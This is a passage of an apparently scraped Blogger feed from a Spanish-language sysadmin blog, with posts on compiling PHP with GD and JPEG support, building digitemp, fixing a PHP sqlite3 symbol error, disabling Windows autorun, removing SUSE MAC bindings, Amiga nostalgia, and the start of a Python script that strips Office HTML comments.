/&gt;&lt;pre class="codigo"&gt;# ldd /usr/lib/libgd.so&lt;br /&gt;                libpthread.so.0 =&gt; /lib/tls/libpthread.so.0 (0x40054000)&lt;br /&gt;        libjpeg.so.62 =&gt; /usr/lib/libjpeg.so.62 (0x40063000)&lt;br /&gt;        libfreetype.so.6 =&gt; /usr/lib/libfreetype.so.6 (0x40082000)&lt;br /&gt;        libpng12.so.0 =&gt; /usr/lib/libpng12.so.0 (0x400ef000)&lt;br /&gt;        libz.so.1 =&gt; /usr/lib/libz.so.1 (0x40114000)&lt;br /&gt;        libm.so.6 =&gt; /lib/tls/libm.so.6 (0x40126000)&lt;br /&gt;        libc.so.6 =&gt; /lib/tls/libc.so.6 (0x40148000)&lt;br /&gt;        /lib/ld-linux.so.2 =&gt; /lib/ld-linux.so.2 (0x80000000)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Así que bueno, cuestión de decirle al configure donde encontrarlas:&lt;br /&gt;&lt;pre class="codigo"&gt;$ ./configure &lt;span style="color:blue;font-weight:bold"&gt;--with-gd=/usr&lt;/span&gt; --with-zlib --with-jpeg&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Para comprobar que tenemos soporte jpeg dentro de las gd's de php:&lt;br /&gt;&lt;pre class="codigo"&gt;&amp;lt;?php&lt;br /&gt;var_dump(gd_info());&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Que en mi caso da un resultado tal que:&lt;br /&gt;&lt;pre class="codigo"&gt;array(11) {&lt;br /&gt;  ["GD Version"]=&gt;  string(13) "2.0 or higher"&lt;br /&gt;  ["FreeType Support"]=&gt;  bool(false)&lt;br /&gt;  ["T1Lib Support"]=&gt;  bool(false)&lt;br /&gt;  ["GIF Read Support"]=&gt;  bool(true)&lt;br /&gt;  ["GIF Create Support"]=&gt;  bool(true)&lt;br /&gt;  &lt;span style="color:blue;font-weight:bold"&gt;["JPG Support"]=&gt;  bool(true)&lt;/span&gt;&lt;br /&gt;  ["PNG Support"]=&gt;  bool(true)&lt;br /&gt;  ["WBMP Support"]=&gt;  bool(true)&lt;br /&gt;  ["XPM Support"]=&gt;  bool(false)&lt;br /&gt;  ["XBM Support"]=&gt;  bool(false)&lt;br /&gt;  ["JIS-mapped Japanese Font Support"]=&gt;  bool(false)&lt;br /&gt;}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-2741831168562300205?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/2741831168562300205/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=2741831168562300205&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2741831168562300205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2741831168562300205'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/01/php-52-gd-jpeg-compila-maldito.html' title='PHP 5.2 + GD + JPEG compila maldito!'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-2810721500113422067</id><published>2006-12-18T11:29:00.000+01:00</published><updated>2006-12-18T11:46:30.934+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='digitemp'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='serial'/><category scheme='http://www.blogger.com/atom/ns#' term='sensor'/><title type='text'>Código obsoleto en digitemp</title><content type='html'>Habiendo montado un &lt;a href="http://pihost.us/~stacato/digitemp/"&gt;sensor térmico&lt;/a&gt; controlado por un programa que hace uso del puerto serie para recuperar los datos, observaba constantemente entradas en los logs tal como la siguiente:&lt;br /&gt;&lt;pre class="codigo"&gt;kernel: digitemp sets custom speed on ttyS0. This is deprecated.&lt;br /&gt;last message repeated 22 times&lt;/pre&gt;&lt;br /&gt;Resulta que las versiones previas a la 3.4 de digitemp no están preparadas correctamente para los nucleos, tras probar distintas proporcionadas por las distribuciones ninguna soportaba los antiguos sensores DS1820, DS18S20 ó DS1920. No obstante la digitemp-3.4.0 si lo hace.&lt;br /&gt;&lt;pre class="codigo"&gt;&lt;br /&gt;tar zxvf digitemp-3.4.0.tar.gz&lt;br /&gt;cd digitemp-3.4.0&lt;br /&gt;make ds9097&lt;br /&gt;./digitemp_DS9097 -i -s /dev/ttyS0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Se supone que el paquete lo podemos descargar desde &lt;a href="http://www.digitemp.com/software/linux/digitemp-3.4.0.tar.gz"&gt;http://www.digitemp.com/software/linux/digitemp-3.4.0.tar.gz&lt;/a&gt;, aunque en estos momentos no está disponible, así que googleando un poco por: digitemp-3.4.0.tar.gz debería aparecer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-2810721500113422067?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/2810721500113422067/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=2810721500113422067&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2810721500113422067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2810721500113422067'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/12/cdigo-obsoleto-en-digitemp.html' title='Código obsoleto en digitemp'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-116518028745266655</id><published>2006-12-03T21:12:00.000+01:00</published><updated>2006-12-03T22:12:34.906+01:00</updated><title type='text'>Nuestros nuevos amos</title><content type='html'>Dura auto-crítica nacional de Perez-Reverte (muy en su linea) a los políticos, politicuchos y demás morralla social: &lt;a href="http://www.xlsemanal.com/web/firma.php?id_firma=3411&amp;id_edicion=1587"&gt; Nuestros nuevos amos&lt;/a&gt;, digna de leerse.&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/Reverte" rel="tag"&gt;Reverte&lt;/a&gt; &lt;a href="http://technorati.com/tag/critica" rel="tag"&gt;crítica&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-116518028745266655?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/116518028745266655/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=116518028745266655&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116518028745266655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116518028745266655'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/12/nuestros-nuevos-amos.html' title='Nuestros nuevos amos'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-116517617432055750</id><published>2006-12-03T20:16:00.000+01:00</published><updated>2006-12-03T21:09:52.996+01:00</updated><title type='text'>Remember: Amiga 500</title><content type='html'>Esta entrada va dedicada a los años que pasé con el Amiga500, que buenos recuerdos y sobre todo que buenos juegos ;D&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/x/blogger/4765/1262/1600/880602/amiga.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/4765/1262/320/343951/amiga.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para aquellos que ya no tenemos la máquina original, como es mi caso (se me chamuscó toqueteando la fuente de alimentación), existen desde hace ya tiempo emuladores bastante potentes: &lt;a href="http://www.winuae.net/"&gt;WinUAE&lt;/a&gt;, donde poder probar las antiguas imagenes de los disquetes.&lt;br /&gt;&lt;br /&gt;Eso si, si lo que quieres es usar los viejos discos en tu PC, olvidate, directamente no se pueden usar (hace falta un programa especial o una tarjeta) ya que el Amiga guardaba información en sectores donde el PC no accede normalmente.&lt;br /&gt;&lt;br /&gt;Si buscas imagenes en particular con un poco de googling aparecen y hoy en dia... ¿que son 700kb? :D&lt;br /&gt;&lt;br /&gt;El clasico entre los clasicos, "The Secret of Monkey Island"&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/x/blogger/4765/1262/1600/706347/monkey.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/4765/1262/320/230362/monkey.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"Wolfchild", la música te incitaba a jugar durante horas y horas&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/x/blogger/4765/1262/1600/860833/wolf.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/4765/1262/320/158678/wolf.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"Ishar", de este aún conservo los disquetes originales, infinitas horas que le eché en laberintos sin fin, lo mismo algún dia intento terminarlo ;)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/x/blogger/4765/1262/1600/756786/ishar.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/4765/1262/320/697095/ishar.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Continuará...&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/Amiga500" rel="tag"&gt;Amiga500&lt;/a&gt; &lt;a href="http://technorati.com/tag/remember" rel="tag"&gt;remember&lt;/a&gt; &lt;a href="http://technorati.com/tag/juegos" rel="tag"&gt;juegos&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-116517617432055750?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/116517617432055750/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=116517617432055750&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116517617432055750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116517617432055750'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/12/remember-amiga-500.html' title='Remember: Amiga 500'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-116263994557511807</id><published>2006-11-04T12:23:00.000+01:00</published><updated>2006-11-04T12:32:25.590+01:00</updated><title type='text'>undefined symbol: sqlite3SelectDelete en php</title><content type='html'>Tras recompilar la última verión de php (5.2) por los recientes problemas de seguridad, me encuentro con un error que no aparecía en la 5.1 y bajo las mismas condiciones:&lt;br /&gt;&lt;pre class="codigo"&gt;httpd: Syntax error on line 23 of /usr/local/apache2/conf/httpd.conf:&lt;br /&gt;Cannot load /usr/local/apache2/modules/libphp5.so into server:&lt;br /&gt;/usr/local/apache2/modules/libphp5.so: undefined symbol: sqlite3SelectDelete&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Tras no encontrar ninguna solución en la red y reconfigurar con mysql (que no uso) y recibir otro fallo, este más lógico ya que no tengo las fuentes de desarollo por ningún sitio :D&lt;br /&gt;&lt;pre class="codigo"&gt;Cannot load /usr/local/apache2/modules/libphp5.so into server:&lt;br /&gt;/usr/local/apache2/modules/libphp5.so: undefined symbol: _zend_list_delete&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;La solución era instalar el paquete sqlite3 y sqlite3-dev para que el php cree las referencias adecuadas, lo extraño del asunto es que en la versión anterior no hacía falta tenerlas.&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/apache" rel="tag"&gt;apache&lt;/a&gt; &lt;a href="http://technorati.com/tag/php" rel="tag"&gt;php&lt;/a&gt; &lt;a href="http://technorati.com/tag/sqlite" rel="tag"&gt;sqlite&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-116263994557511807?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/116263994557511807/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=116263994557511807&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116263994557511807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116263994557511807'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/11/undefined-symbol-sqlite3selectdelete.html' title='undefined symbol: sqlite3SelectDelete en php'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-116125418396804600</id><published>2006-10-19T12:18:00.000+02:00</published><updated>2006-10-19T12:36:23.986+02:00</updated><title type='text'>Desactivar autorun para todas las unidades en windows</title><content type='html'>Aquí un consejillo de la mano del compi &lt;a href="http://www.hackpasoapaso.com/"&gt;Sergio de los Santos&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;Resulta que por defecto las unidades de windows tienen activado el autoarranque, esto se puede modificar particularmente para las de cd/dvd pero con las llaves usb, reproductores mp3, etc... es un poco más dificil, aunque siempre se puede desactivar momentaneamente pulsando la tecla SHIFT mientras la metes (la llave usb) sino tienes que hacer malabares por que no esté accesible.&lt;br /&gt;&lt;br /&gt;Solución: Desactivar por politicas todos los arranques automaticos, para ello, lanzamos el administrador de politicas de grupo, desde un command:&lt;br /&gt;&lt;pre class="codigo"&gt;&amp;gt; gpedit.msc&lt;/pre&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/4765/1262/1600/autorun.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/4765/1262/400/autorun.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Desde alli, buscamos la clave que se ve en la imagen, en español sería mas o menos: Configuración del equipo/ Sistema/ Desactivar reproducción automática -&gt; Activar, todas las unidades.&lt;br /&gt;&lt;br /&gt;Posteriormente hay que actualizar la política, desde el command otra vez, en windows XP:&lt;br /&gt;&lt;pre class="codigo"&gt;&amp;gt; gpupdate&lt;br /&gt;Refreshing Policy...&lt;br /&gt;&lt;br /&gt;User Policy Refresh has completed.&lt;br /&gt;Computer Policy Refresh has completed.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;En caso de ser Windows 2000:&lt;br /&gt;&lt;pre class="codigo"&gt;&amp;gt; secedit /refreshpolicy machine_policy&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/windows" rel="tag"&gt;windows&lt;/a&gt; &lt;a href="http://technorati.com/tag/autorun" rel="tag"&gt;autorun&lt;/a&gt; &lt;a href="http://technorati.com/tag/usb" rel="tag"&gt;usb&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-116125418396804600?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/116125418396804600/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=116125418396804600&amp;isPopup=true' title='14 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116125418396804600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116125418396804600'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/10/desactivar-autorun-para-todas-las.html' title='Desactivar autorun para todas las unidades en windows'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-116116534958806501</id><published>2006-10-18T11:20:00.000+02:00</published><updated>2006-10-18T11:55:49.603+02:00</updated><title type='text'>Eliminar MAC asociadas en SUSE</title><content type='html'>Suse tiene una fantastica "feature" que asocia automáticamente la MAC de la tarjeta al interfaz, evitando que la IP asociada al interfaz no se de de alta sobre otro diferente en caso de algun problema (detección en le arranque, tarjeta de red nueva, tarjeta rota, etc...).&lt;br /&gt;Esto aunque es deseable a veces se convierte en un problema si no sabes como quitar esas asociaciones, tras un poco de busqueda:&lt;br /&gt;&lt;br /&gt;En el directorio "/etc/udev/rules.d" archivo "30-net_persistent_names.rules", podemos eliminar las lineas que identifican la MAC con el interfaz, por ej:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;# This rules are autogenerated from /lib/udev/rename_netiface.&lt;br /&gt;# But you can modify them, but make sure that you don't use an interface name&lt;br /&gt;# twice. Also add such interface name rules only in this rules file. Otherwise&lt;br /&gt;# rename_netiface will create wrong rules for new interfaces.&lt;br /&gt;# It is safe to delete a rule, as long as you did not disable automatic rule&lt;br /&gt;# generation. Only if all interfaces get a rule the renaming will work&lt;br /&gt;# flawlessly. See also /etc/udev/rules.d/31-net_create_names.rules.&lt;br /&gt;#&lt;br /&gt;# Read /usr/share/doc/packages/sysconfig/README.Persistent_Interface_Names for&lt;br /&gt;# further information.&lt;br /&gt;#&lt;br /&gt;# Use only a-z, A-Z and 0-9 for interface names!&lt;br /&gt;#&lt;br /&gt;SUBSYSTEM=="net", ACTION=="add", SYSFS{address}=="XX:XX:XX:XX:XX:XX", IMPORT="/lib/udev/rename_netiface %k eth0"&lt;/pre&gt;&lt;br /&gt;Eliminando la última linea el sistema nos volverá a identificar de nuevo los interfaces con sus mac's, ya solo queda ir al yast y configurarlas.&lt;br /&gt;&lt;br /&gt;Tags: &lt;a href="http://technorati.com/tag/suse" rel="tag"&gt;suse&lt;/a&gt; &lt;a href="http://technorati.com/tag/mac" rel="tag"&gt;mac&lt;/a&gt; &lt;a href="http://technorati.com/tag/interface" rel="tag"&gt;interface&lt;/a&gt; &lt;a href="http://technorati.com/tag/yast" rel="tag"&gt;yast&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-116116534958806501?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/116116534958806501/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=116116534958806501&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116116534958806501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/116116534958806501'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2006/10/eliminar-mac-asociadas-en-suse.html' title='Eliminar MAC asociadas en SUSE'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-116022694486745267</id><published>2006-10-07T15:05:00.000+02:00</published><updated>2006-10-07T15:17:59.106+02:00</updated><title type='text'>Reductor de HTML para páginas generadas por office</title><content type='html'>Tras pasar las vacaciones, el síndrome post-estacional (si, estacional, por que vacacional no ha sido mucho que se diga, millones de cosas que acabar que tenía uno) y un congreso de paso, vuelvo a tener un ratillo para escribir algo por aquí...&lt;br /&gt;&lt;br /&gt;De todos es conocido que cuando haces una web con office mete mucha porquería dentro pero nunca llege a imaginar que de un archivo de 180Kbytes tan solo 10K's fueran de html real (del presentable que sirve para formar la web) :o, bueno como me han pedido que aligerara una web y había bastantes html's de 150K-200K... pues a mano va a ser que no.&lt;br /&gt;&lt;br /&gt;Un rapido script en python que elimina los "comentarios" que introduce office, está especificamente hecho para el formato que he tenido entre manos, no se como de compatible podrá ser. Ahí va:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;&lt;span style="color:#999;"&gt;#C:/Python24/python.exe&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#999;"&gt;# -*- coding: utf-8 -*-&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;import&lt;/span&gt; &lt;span style="color:#000000;"&gt;os&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;re&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;tag1_i&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;"""&amp;lt;!--[if"""&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;tag1_f&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;"""&amp;lt;![endif]--&amp;gt;"""&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;tag2&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;"""&amp;lt;![if !vml]&amp;gt;"""&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;tag3&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;"""&amp;lt;![endif]&amp;gt;"""&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;cuenta&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;cuentaglobal&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;debug&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;font-weight:bold;"&gt;def&lt;/span&gt; &lt;span style="color:#000000;"&gt;reducir&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;global&lt;/span&gt; &lt;span style="color:#000000;"&gt;cuenta&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color:#000000;"&gt;posi&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;find&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;tag1_i&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;posi&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;!=&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;-&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:#000000;"&gt;posf&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;.&lt;/span&gt;&lt;span style="color:#000000;"&gt;find&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;tag1_f&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;,&lt;/span&gt; &lt;span style="color:#000000;"&gt;posi&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#000000;"&gt;len&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;tag1_i&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;if&lt;/span&gt; &lt;span style="color:#000000;"&gt;posf&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;!=&lt;/span&gt; &lt;span style="color:#0000DD;"&gt;-&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;1&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                        &lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;[&lt;/span&gt;&lt;span style="color:#0080C0;"&gt;0&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;span style="color:#000000;"&gt;posi&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;]&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;[&lt;/span&gt;&lt;span style="color:#000000;"&gt;posf&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+&lt;/span&gt;&lt;span style="color:#000000;"&gt;len&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;tag1_f&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;]&lt;/span&gt;&lt;br /&gt;                        &lt;span style="color:#000000;"&gt;cuenta&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;+=&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;posf&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;-&lt;/span&gt;&lt;span style="color:#000000;"&gt;posi&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                        &lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;=&lt;/span&gt;&lt;span style="color:#000000;"&gt;reducir&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;cadena&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color:blue;font-weight:bold;"&gt;else&lt;/span&gt;&lt;span style="color:#0000DD;"&gt;:&lt;/span&gt;&lt;br /&gt;                        &lt;span style="color:blue;font-weight:bold;"&gt;print&lt;/span&gt; &lt;span 